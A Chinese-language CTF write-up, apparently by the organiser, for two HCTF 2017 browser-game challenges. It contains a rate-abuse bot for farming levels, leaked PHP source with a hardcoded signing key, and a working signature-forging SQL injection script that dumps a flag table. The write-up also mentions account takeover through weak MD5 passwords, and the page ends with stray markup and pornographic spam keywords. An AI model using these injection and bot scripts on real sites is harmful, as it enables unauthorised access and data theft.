<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    poker & poker poker

    poker

    這次想以游戲安全出一些題目,但是又擔心出的太難,大家沒做過類似的游戲漏洞挖掘(其實是為了偷懶),就出了一道戰斗頻率沒有限制的刷級漏洞。這是一個去掉充值功能以外完整的游戲,我去掉了后臺對于加速器的檢測機制。
    提示給的很明顯,在flag.php里提示了

    getFlag when you are at level 100!!!

    升到一百級就可以拿到flag,但是比賽時間的48個小時正常情況下不吃不喝也是升不到100級的,ctf本來就是一個hack game,所以需要分析他的游戲機制。這個版本的poker2沒有戰斗頻率限制,可以高速無限戰斗,腳本很簡單,但是還需要分析游戲的細節。眾多野怪地圖里有一個叫圣誕小屋的掛機地圖,傷害低經驗高,寫好掛機腳本還是很簡單的。

        import requests
        import re
        from time import sleep
        host = "petgame.2017.hctf.io"
    
        headers = {
            "Cookie":"PHPSESSID=c4gn8hav06nsv43bo65tlfkto3"
        }
        def getFight(host, headers):
            url = "http://"+host+"/function/Fight_Mod.php?p=37&bid=5226&rd=0.5365947475076844"
            req = requests.get(url = url, headers = headers)
            html = req.content
            gid = re.findall("gg=[.*,(.*)]",html)
            if len(gid)>0:
                gid = gid[0]
                attack(gid, 4, host, headers)
            else:
                return False
    
        def attack(gid, times, host, headers):
            url = "http://"+host+"/function/FightGate.php?id=1&g="+str(gid)+"&checkwg=checked&rd=0.34966725314993186"
            for i in xrange(0,times-1):
                req = requests.get(url = url, headers = headers)
                html = req.content
                print html
    
        while True:
            getFight(host,headers)
        #    sleep(0.1)
    
        #attack(86,url,headers)

    其實還有其他解法,就是在poker-poker一題中找到注入點,如果有一百級的玩家的密碼是弱口令(md5可查)則可以進入其他人賬號獲得flag。我特意把poker2一題放在第二層,poker-poker在第三層,但是還是有人找到了非預期的注入點(注冊處),提前獲取了別人的session,在我刪除一百級賬號前獲得flag。

    poker poker

    這題就比較難受了,看了大家傳上來的wp,沒有一份是預期解。由于游戲程序比較多,我也沒全部看過,就找了一處隱蔽的有回顯注入點,但是有一些前置條件。
    題目提示是pspt,訪問發現跳轉到pspt/并且狀態403,說明存在pspt目錄。
    pspt目錄下存在robots.txt。

    Disallow: /pspt/inf/queryUserRole.php    
    Sitemap: http://domain.com/sitemap.xml

    直接訪問/pspt/inf/queryUserRole.php提示error1。該目錄下存在.bak文件,泄漏了源碼。

        <?php
        require_once(dirname(dirname(dirname(__FILE__))).'/config/config.game.php');
        if (empty($_GET['user_account']) || empty($_GET['valid_date']) || empty($_GET['sign'])) {
            die('error1');
        }
    
        $time = time();
        if ($_GET['valid_date'] <= $time) {
            die('error2');
        }
    
        $encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM';
        $flag = md5($_GET['user_account'].$_GET['valid_date'].$encryKey);
        if ($flag != $_GET['sign']) {
            die('error3');
        }
    
        $arr = $_pm['mysql'] -> getOneRecord("SELECT id,nickname FROM player WHERE name = '{$_GET['user_account']}'");
    
        if (!is_array($arr)) {
            die('error4');
        }
    
        $str = $arr['id'].'&'.$arr['nickname'];
        $newstr = iconv('utf8','utf-8',$str);
        echo $newstr;
        unset($time,$arr,$str);
        ?>

    此處泄漏了encryKey,只要有這個encryKey,我們可以根據源碼寫出注入payload。
    poc:

        import requests
        import time
        import hashlib
        import urllib2
    
        def getMd5(data):
            data = str(data)
            t = hashlib.md5()
            t.update(data)
            return t.hexdigest()
    
        def hack(payload="admin"):
            user_account = urllib2.quote(payload)
            valid_date = int(time.time())+10000
            sign = getSign(user_account, valid_date)
            url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user_account="+str(user_account)+"&valid_date="+str(valid_date)+"&sign="+sign
            req = requests.get(url = url)
            print req.content
    
        def getSign(user_account, valid_date):
            user_account = urllib2.unquote(user_account)
            encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM'
            sign = getMd5(str(user_account) + str(valid_date) + encryKey)
            return sign
    
        hack("adminss' union all select 111,flag from hctf.flag2#")

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类